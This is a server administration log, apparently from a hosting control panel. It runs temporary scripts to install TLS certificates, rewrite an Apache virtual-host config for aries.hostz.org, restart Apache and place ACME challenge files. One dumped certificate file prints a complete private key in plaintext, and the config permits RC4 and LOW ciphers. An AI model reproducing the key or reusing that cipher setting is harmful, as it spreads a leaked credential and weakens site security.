wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-12-01 06:00:12:
chmod 755 /tmp/pkp258078; /tmp/pkp258078; rm /tmp/pkp258078
2025-12-01 06:00:12:
dir=/etc/ssl/certs
2025-12-01 06:00:12:
PUT: /tmp/pkp969891
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_aries_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-12-01 06:00:12:
chmod 755 /tmp/pkp969891; /tmp/pkp969891; rm /tmp/pkp969891
2025-12-01 06:00:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf 39
<VirtualHost *:80>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/aries_access.log combined
ErrorLog /var/log/apache2/hostz/aries_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_aries/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/aries_secure_access.log combined
ErrorLog /var/log/apache2/hostz/aries_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-12-01 06:00:12:
PUT: /tmp/pkp414381
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_aries_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_aries_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/aries_access.log combined
ErrorLog /var/log/apache2/hostz/aries_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_aries/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/aries_secure_access.log combined
ErrorLog /var/log/apache2/hostz/aries_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_aries_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_aries_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_aries_org.conf= 1'
fi
2025-12-01 06:00:12:
chmod 755 /tmp/pkp414381; /tmp/pkp414381; rm /tmp/pkp414381
2025-12-01 06:00:12:
2025-12-01 06:00:12:
PUT: /tmp/pkp683288
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-12-01 06:00:12:
chmod 755 /tmp/pkp683288; /tmp/pkp683288; rm /tmp/pkp683288
2025-12-01 06:00:12:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-01 06:00:12: Establishing a connection
2025-12-01 06:00:12:
PUT: /tmp/pkp628762
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-12-01 06:00:13:
chmod 755 /tmp/pkp628762; /tmp/pkp628762; rm /tmp/pkp628762
2025-12-01 06:00:13:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
port 80 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:2)
port 80 namevhost books.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_books_org.conf:2)
port 80 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:2)
port 80 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:2)
port 80 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:1)
alias www.hopeinstoughton.org
port 80 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:2)
port 80 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:2)
alias www.hostz.org
port 80 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:2)
port 80 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:2)
alias www.kjvdictionary.org
port 80 namevhost localhost (/etc/apache2/sites-enabled/nagios.conf:1)
port 80 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:1)
port 80 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:2)
port 80 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:2)
alias www.patientapps.co
port 80 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:2)
port 80 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:1)
port 80 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:1)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
port 80 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:2)
alias www.pjy.us
port 80 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:1)
wild alias *.stoughton.link
port 80 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:2)
alias www.theyoungdesigners.com
port 80 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:2)
alias www.theyoungdesigners.us
*:443 is a NameVirtualHost
default server anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost anitayoung.net (/etc/apache2/sites-enabled/anitayoung_www_net.conf:19)
port 443 namevhost cdn1.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn1_org.conf:24)
port 443 namevhost vote.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_vote_org.conf:26)
port 443 namevhost hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_www_org.conf:24)
alias www.hopeinstoughton.org
port 443 namevhost aries.hostz.org (/etc/apache2/sites-enabled/hostz_aries_org.conf:27)
port 443 namevhost hostz.org (/etc/apache2/sites-enabled/hostz_www_org.conf:20)
alias www.hostz.org
port 443 namevhost store.kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_store_org.conf:19)
port 443 namevhost kjvdictionary.org (/etc/apache2/sites-enabled/kjvdictionary_www_org.conf:24)
alias www.kjvdictionary.org
port 443 namevhost beta.patientapps.net (/etc/apache2/sites-enabled/patientapps_beta_net.conf:24)
port 443 namevhost support.patientapps.com (/etc/apache2/sites-enabled/patientapps_support_com.conf:22)
port 443 namevhost patientapps.co (/etc/apache2/sites-enabled/patientapps_www_co.conf:29)
alias www.patientapps.co
port 443 namevhost city.pjy.us (/etc/apache2/sites-enabled/pjy_city_us.conf:19)
port 443 namevhost eggshell.pjy.us (/etc/apache2/sites-enabled/pjy_eggshell_us.conf:23)
port 443 namevhost pkp.pjy.us (/etc/apache2/sites-enabled/pjy_pkp_us.conf:26)
port 443 namevhost pjy.us (/etc/apache2/sites-enabled/pjy_www_us.conf:20)
alias www.pjy.us
port 443 namevhost stoughton.link (/etc/apache2/sites-enabled/stoughton_www_link.conf:27)
wild alias *.stoughton.link
port 443 namevhost theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_www_com.conf:23)
alias www.theyoungdesigners.com
port 443 namevhost theyoungdesigners.us (/etc/apache2/sites-enabled/theyoungdesigners_www_us.conf:21)
alias www.theyoungdesigners.us
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
Define: ENABLE_USR_LIB_CGI_BIN
User: name="www-data" id=33
Group: name="www-data" id=33
.
STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
2025-12-01 06:00:13:
PUT: /tmp/pkp718457
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_aries_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-01 06:00:13:
chmod 755 /tmp/pkp718457; /tmp/pkp718457; rm /tmp/pkp718457
2025-12-01 06:00:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_aries_org.conf 1872
<VirtualHost *:80>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/aries_access.log combined
ErrorLog /var/log/apache2/hostz/aries_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
<VirtualHost *:443>
ServerName aries.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt
DocumentRoot /var/www/hostz_aries
<Directory /var/www/hostz_aries>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
<Location /server-status>
SetHandler server-status
AuthType Basic
AuthName "Server Status"
AuthUserFile /var/www/hostz_aries/.htpasswd
require valid-user
</Location>
CustomLog /var/log/apache2/hostz/aries_secure_access.log combined
ErrorLog /var/log/apache2/hostz/aries_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
DirectoryIndex index.html index.htm index.php index.py
<FilesMatch \.php$>
SetHandler "proxy:unix:/var/run/php7.4-phil.sock|fcgi://localhost"
</FilesMatch>
</VirtualHost>
2025-12-01 06:00:13:
PUT: /tmp/pkp172821
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-12-01 06:00:13:
chmod 755 /tmp/pkp172821; /tmp/pkp172821; rm /tmp/pkp172821
2025-12-01 06:00:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/13385323b2ba6119b083bb652d070eb4.crt 5348
18:80:18:ef:8d:17:6a:d8:d9:20:2c:01:b0:1a:3c:ee
-----BEGIN CERTIFICATE-----
MIIE+TCCA+GgAwIBAgISBnsN45FHICGfDJWV64k40q6CMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMTQxWhcNMjYwMzAxMDUwMTQwWjAaMRgwFgYDVQQD
Ew9hcmllcy5ob3N0ei5vcmcwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQDHdwzsHDEdqceWghlb2toI2rK8dy3/J7NeuA5/lSh62i1Ky/VdYl4KpC6/uwDH
9DyE8+WMq1nNQyeBI5WC7r0pqmTEYv0c9+4JvG1m4dkMqSpv8rnggIwfLzYQWgUc
czFZrhp5NhCTnGOlj+4qxuclQu+kmkLc6tGulMx7vOsPU6Mix9fTSWJiCtO0zAU3
Y3EtC8tPYcjkjHXgy7mbQy9rNObqvctDVu9thjpVcE5cWe3FkBzoI0q/mn/9S/So
qifXkn6RedADO+V4BQLQ9r+48bsKp2hsMZ4W3i0h6ATY1hfKSlQ99cVlcjL7SM23
Pv+hMoHFR5I/GrZGSmcC3S9rAgMBAAGjggIeMIICGjAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFKMukSr6qfc6SIUfoDPCe/7lPA93MB8GA1UdIwQYMBaAFOernw8sM6BT
015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMy5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPYXJpZXMuaG9zdHoub3JnMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC0GA1UdHwQmMCQwIqAgoB6GHGh0dHA6Ly9yMTMu
Yy5sZW5jci5vcmcvMy5jcmwwggEEBgorBgEEAdZ5AgQCBIH1BIHyAPAAdQAZhtTH
KKpv/roDb3gqTQGRqs4tcjEPrs5dcEEtJUzH1AAAAZrYf0eSAAAEAwBGMEQCIBrl
IOlHu2O8csZAt8cNVOAC+JoIgyrhFkldYkBEyeZvAiAQdUqUa2LI5UoMjYEQnXsa
OrcryUV/7RLhvg8dCwdBDAB3AA5XlLzzrqk+MxssmQez95Dfm8I9cTIl3SGpJaxh
xU4hAAABmth/R5AAAAQDAEgwRgIhAO+Wi2HPilzyV/aHeyXp6JHyn3Is/Fju5fuT
aGYizAiyAiEAlcLduUiB5vW9IQ10b52C2Mq/eKp3zzh8RlRqWO6sztswDQYJKoZI
hvcNAQELBQADggEBAIWQXyuYEVO3ogS7rTe0+vHzzZOYk628YygHuqxcn6tnHT0D
OYNIhQ9x8HQDIdf7IX8c0UCofKnZe5o81Qo2girnmDI0rNnRKZAxxn7gaFWHH4GJ
RTiGzRiwF4Sgr+56Y5qJQf909ZrtsahG/HSM8fzrXRYMU5nF52F9vP13RUg7YAPm
s4YD/33RM83+LDqauz2vPd5CG5YQx+SvalrSFqReSgKZJVsiyU3R041TIDQ7QX+z
nvB8PfjBmZ7hrd7geanb6+JIDvYKOzwm5hEFfd2HfKp78zSSSq0sqexQMsxhRx4l
I0zRvqSBg+Uy/abHAGj6qeiSczDZZeljyeIZ9JQ=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDHdwzsHDEdqceW
ghlb2toI2rK8dy3/J7NeuA5/lSh62i1Ky/VdYl4KpC6/uwDH9DyE8+WMq1nNQyeB
I5WC7r0pqmTEYv0c9+4JvG1m4dkMqSpv8rnggIwfLzYQWgUcczFZrhp5NhCTnGOl
j+4qxuclQu+kmkLc6tGulMx7vOsPU6Mix9fTSWJiCtO0zAU3Y3EtC8tPYcjkjHXg
y7mbQy9rNObqvctDVu9thjpVcE5cWe3FkBzoI0q/mn/9S/SoqifXkn6RedADO+V4
BQLQ9r+48bsKp2hsMZ4W3i0h6ATY1hfKSlQ99cVlcjL7SM23Pv+hMoHFR5I/GrZG
SmcC3S9rAgMBAAECggEBAIWz/Yt/UkUJ+2meB5WU27Y3sru2P7TbTdbeFYnb1+iR
uu56TRytxU/owhVvKpTd2Hteaa6jZWy76Q0dZyj/EvmM6ELj/7qdTohkMAlYtn9Q
HcwwrfwY7tQwd1L6pJZveNMea0x4ux/XIsxl8EXoUiSd+7kgVlVzad5Wi8Md3YrF
XIY1F/f8j6RSEYoaSlbhplKYCLqrgllnEbf8zi9GrMqYi/6uZjYFFp8qqlnED6Sh
G3yGlUmo/wwmimJ+Ob9niRBRhW7t3TEKgHA1fJkAArhb9ai6B2JSKmtKflorv2xc
wct+x7oztGf8ETfCswVdHmxbWKczb4Caxwa0xymKYRECgYEA5cLZ34WfVhILHi5X
vauX+PJ6/SSv95ncYSao2EkNsMCswLdCLSF5jABlWPK5ANcr80WkS//87fbz0bpJ
KMokavHPK7d6UJx8KAciKRQdC/or/LUk1rGYExULIIs0ZkTvubz9PphJ9r2LMU7Y
sxfsMMPUE5Pum26v9qSWr/WdVWcCgYEA3j57cqN85i8lNyNvZLwavUJlSjSxcEtY
CISsEa1Gf7gmC+OKIm+zSYEY8jxwXOOXdGmCJGC614DWAhbnu3YWRIPM0ubAqlUv
1AkidVPt7M4zFvcwTuvDRl/ixhKXu0t2rXGWlb2RJiCz5IyJ9jBSQvNc7sc0raT3
QyMPmmP2710CgYAcvLtNdsQQGt+jHb7BrWWrsIBrixwrRuZGjHRP4QtCUUcKL6Gq
TWaLeT0z2+AB1+faXJqJGvKCvQGP+NHPtUDK04XK/P7ieEAbLZE7PBXJ+rdnuyxp
YfsYX+htYJvkMrkdLSMrohaWMuzm9Oqrs9FJ5CRxcm5EqJp/qeRjC8Bq/wKBgE22
4aobu0Auuj/Gt1wtXthRkGPbezS+VAFei2D/C4j71uoPXi1ei/4nE5cZRV1mBH8j
qeuYm51iIvPGGLB3wZ+hywzwveySL1BhBViryaYmEL12IMFoNfe07fK/a6mF4PET
qEmiaVBA3UcNUezxxsI8oYGpzSTva7thVkJxtFbNAoGBAImos59MQ4HTvcedARaA
+pxsNmUy1fdX5sPFZS0TtfSSN028cB3NQ1sczTf0lK3iDpGJ15hSU58qH97Z5j4G
AMfcbrazIdSx69MO6YwZ/yr2ufCpAGfPjdyzeLJyI2xw8yBF4JOjYrRiJibQJBzC
LTVNlnTNXlVJtsCfLeKS+l/Y
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
2025-12-01 06:00:13: Establishing a connection
2025-12-01 06:00:13: Establishing a connection
2025-12-01 06:00:13:
PUT: /tmp/pkp380674
#!/bin/bash
if [ -d "/var/www/dgmarshall_www/.well-known" ]; then
echo 1
else
echo 0
fi
2025-12-01 06:00:14:
chmod 755 /tmp/pkp380674; /tmp/pkp380674; rm /tmp/pkp380674
2025-12-01 06:00:14:
1
2025-12-01 06:00:14: Establishing a connection
2025-12-01 06:00:15:
PUT: /tmp/pkp460348
#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cat > OOEez727HI_CQMuf7LLbc2NhnO9SRwEgBCnqvas5tyQ <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
OOEez727HI_CQMuf7LLbc2NhnO9SRwEgBCnqvas5tyQ.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 OOEez727HI_CQMuf7LLbc2NhnO9SRwEgBCnqvas5tyQ
cat > jKDNG0OiOTbFzOShFEwfTasCnBg8dIPheiqnQFWnYSc <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jKDNG0OiOTbFzOShFEwfTasCnBg8dIPheiqnQFWnYSc.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 jKDNG0OiOTbFzOShFEwfTasCnBg8dIPheiqnQFWnYSc
2025-12-01 06:00:15:
chmod 755 /tmp/pkp460348; /tmp/pkp460348; rm /tmp/pkp460348
2025-12-01 06:00:15:
2025-12-01 06:00:25: Establishing a connection
2025-12-01 06:00:25:
PUT: /tmp/pkp896044
#!/bin/bash
mkdir -p "/var/www/dgmarshall_www/.well-known/acme-challenge/"
cd "/var/www/dgmarshall_www/.well-known/acme-challenge/"
rm OOEez727HI_CQMuf7LLbc2NhnO9SRwEgBCnqvas5tyQ
rm jKDNG0OiOTbFzOShFEwfTasCnBg8dIPheiqnQFWnYSc
2025-12-01 06:00:25:
chmod 755 /tmp/pkp896044; /tmp/pkp896044; rm /tmp/pkp896044
2025-12-01 06:00:25:
2025-12-01 06:00:25: Establishing a connection
2025-12-01 06:00:25:
PUT: /tmp/pkp349510
#!/bin/bash
temp_file=$(mktemp)
TARGET=dd152e01fe9ba41e566c0f966e8e26d3.crt
cat > $temp_file <<'endmsg'
0e:99:b4:3a:75:7e:72:5c:b1:9c:48:d7:a1:8c:1d:77
-----BEGIN CERTIFICATE-----
MIIFDDCCA/SgAwIBAgISBucLWnPVdM870RVhKAkhCTk2MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjAxMDUwMTU0WhcNMjYwMzAxMDUwMTUzWjAZMRcwFQYDVQQD
Ew5kZ21hcnNoYWxsLmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEB
